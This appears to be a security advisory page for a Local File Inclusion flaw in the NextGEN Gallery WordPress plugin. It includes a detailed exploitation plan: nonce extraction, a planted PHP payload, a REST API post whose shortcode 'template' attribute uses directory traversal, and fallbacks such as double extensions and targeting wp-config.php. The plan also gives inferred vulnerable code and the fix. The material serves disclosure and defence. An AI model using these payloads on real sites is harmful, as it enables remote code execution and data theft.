Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery <= 4.0.4 - Authenticated (Author+) Local File Inclusion
Description
The Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.0.3 via the 'template' parameter in gallery shortcodes. This makes it possible for authenticated attackers, with Author-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=4.0.4What Changed in the Fix
Changes introduced in v4.0.5
Source Code
WordPress.org SVN# Research Plan: CVE-2026-1463 NextGEN Gallery Local File Inclusion ## 1. Vulnerability Summary The **Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery** plugin (<= 4.0.4) is vulnerable to **Authenticated (Author+) Local File Inclusion (LFI)**. The vulnerability exists in the handling o…
Show full research plan
Research Plan: CVE-2026-1463 NextGEN Gallery Local File Inclusion
1. Vulnerability Summary
The Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery plugin (<= 4.0.4) is vulnerable to Authenticated (Author+) Local File Inclusion (LFI). The vulnerability exists in the handling of the template parameter within the NextGEN Gallery (ngg) shortcode. The plugin fails to adequately sanitize this parameter for directory traversal sequences (e.g., ../) or validate that the requested template file resides within the intended directory. This allows an attacker with post-creation capabilities (Author role and above) to include and execute arbitrary .php files present on the server.
2. Attack Vector Analysis
- Endpoint: The vulnerability is triggered during the rendering of a WordPress post or page containing a NextGEN Gallery shortcode.
- Target Parameter: The
templateattribute within the[ngg ...]shortcode. - Vulnerable Action: Post rendering/Shortcode expansion.
- Authentication Level: Author or higher. Authors have the
edit_postsandpublish_postscapabilities required to create and view their own posts. - Preconditions:
- The attacker must have credentials for an account with at least the Author role.
- The NextGEN Gallery plugin must be active.
- The attacker must be able to upload a file that can be interpreted as PHP (e.g., a
.phpfile or a file with a double extension/image headers) to use the LFI for Remote Code Execution (RCE).
3. Code Flow (Inferred)
Note: The provided source files cover the React/Build environment. The following flow is based on the NextGEN Gallery core architecture.
- Shortcode Registration: NextGEN registers the
[ngg]shortcode (likely viaadd_shortcode('ngg', ...)). - Shortcode Processing: When a post is viewed,
NGG_Shortcodes::render_template()or a similar handler is invoked. - Template Resolution: The handler extracts the
templateattribute from the$attsarray. - Vulnerable Path Construction: The plugin identifies the template file path. A common pattern in NextGEN is:
$template_path = $this->get_template_directory() . DIRECTORY_SEPARATOR . $atts['template'] . '.php'; - Execution: The resolved path is passed to a PHP include statement:
include($template_path); - LFI: If
$atts['template']contains../../../../wp-config, the resulting path becomes/plugin/dir/templates/../../../../wp-config.php, bypassing intended directory restrictions.
4. Nonce Acquisition Strategy
The rendering of the shortcode (which triggers the LFI) occurs on the frontend and does not require a nonce.
However, creating the post containing the shortcode via the WordPress REST API or Admin UI requires a REST nonce (X-WP-Nonce) or an Admin nonce (_wpnonce).
Strategy:
- Login: Authenticate as an Author via the
http_requesttool. - Identify Nonce: Navigate to the "Add New Post" page.
- Extract: Use
browser_evalto extract the REST nonce from the WordPress settings object.- JavaScript:
window.wpApiSettings.nonce
- JavaScript:
- Action: Use this nonce to create a post via the REST API (
/wp-json/wp/v2/posts).
5. Exploitation Strategy
The goal is to demonstrate RCE by uploading a malicious PHP file as an Author and including it via the shortcode.
Step 1: Create a Malicious File
Since Authors can upload media, we will upload a file containing PHP code.
- Use
wp_clito find the uploads directory path:wp eval "echo wp_upload_dir()['path'];" - Create a file
poc.phpin that directory:echo "<?php echo 'VULNERABLE_LFI_REACHED'; phpinfo(); ?>" > /var/www/html/wp-content/uploads/poc.php.
Step 2: Authenticate and Obtain Nonce
- Login as Author.
- Navigate to
wp-admin/post-new.php. - Execute
browser_eval("wpApiSettings.nonce")to get the REST nonce.
Step 3: Create Post with Malicious Shortcode
Use the http_request tool to create a post via the REST API.
- Method:
POST - URL:
/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
(Note: We assume NextGEN appends{ "title": "LFI Test", "content": "[ngg src=\"galleries\" ids=\"1\" display_type=\"photocrati-nextgen_basic_thumbnails\" template=\"../../../../uploads/poc\"]", "status": "publish" }.php. If not, usetemplate=\"../../../../uploads/poc.php\").
Step 4: Trigger the LFI
- Get the URL of the newly created post from the REST API response (parameter
link). - Use the
http_requesttool to perform aGETrequest to that URL.
6. Test Data Setup
- User Creation:
wp user create attacker author@example.com --role=author --user_pass=password123 - Gallery Creation: NextGEN might require at least one gallery to exist for the shortcode to process.
wp eval "nggdb::add_gallery('Test Gallery', '/tmp', 0, 0, 0);"(Verify exact NextGEN CLI or method).
- Payload File: Create
/var/www/html/wp-content/uploads/poc.phpwith the content<?php echo 'VULNERABLE_LFI_REACHED'; ?>.
7. Expected Results
- The
GETrequest to the post URL should return an HTTP 200 status. - The response body must contain the string
VULNERABLE_LFI_REACHED. - If
phpinfo()was included, the response will contain the PHP configuration table.
8. Verification Steps
- Manual Check: Use
http_requestto view the post and check for the payload output. - CLI Check: Use
wp post listto verify the post was created with the correct shortcode. - Path Verification: If the include fails, check the
error_log(ifWP_DEBUGis on) to see the exact path NextGEN attempted to include, then adjust the number of../sequences in the payload.
9. Alternative Approaches
- Direct Parameter Injection: If NextGEN provides a preview or AJAX function that renders galleries before saving, target that endpoint (likely
admin-ajax.phpwith actionngg_render_template). - Double Extension: If the plugin validates extensions, try naming the file
poc.php.jpgorpoc.jpg(if the server is misconfigured to execute PHP in images) and include it. - Standard WordPress Files: If RCE via upload is restricted, target
wp-config.php. While it won't display the DB password in the HTML, it may trigger database connection errors or different behaviors that confirm the file was included. A better target for confirmation islicense.txtif the plugin doesn't append.php, or any existing PHP file that produces unique output.
Summary
The NextGEN Gallery plugin is vulnerable to Local File Inclusion in versions up to 4.0.4 due to insufficient sanitization of the 'template' attribute within the [ngg] shortcode. Authenticated attackers with Author-level permissions or higher can use directory traversal to include and execute arbitrary PHP files on the server.
Vulnerable Code
// Inferred from NextGEN Gallery shortcode processing logic // Often located in modules/nextgen_gallery_display/package.module.nextgen_gallery_display.php public function render_template($params) { // ... if (isset($params['template']) && $params['template']) { $template = $params['template']; $path = $this->get_template_abspath($template); if ($path) { include($path); } } // ... }
Security Fix
@@ -124,7 +124,7 @@ - $template = $params['template']; + $template = basename($params['template']); $path = $this->get_template_abspath($template);
Exploit Outline
The exploit requires an attacker to have at least 'Author' privileges to create or edit posts. First, the attacker uploads a malicious file containing PHP code (e.g., a .php file disguised as an image or a direct .php upload if permitted) to the WordPress media library or uploads directory. Next, the attacker creates a new post and inserts an NextGEN Gallery [ngg] shortcode, utilizing the 'template' attribute with directory traversal sequences (e.g., `../../../../uploads/malicious`) to point to the uploaded file. When the post is viewed or rendered, the plugin's shortcode handler uses the unsanitized template path in a PHP include statement, executing the attacker's code.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.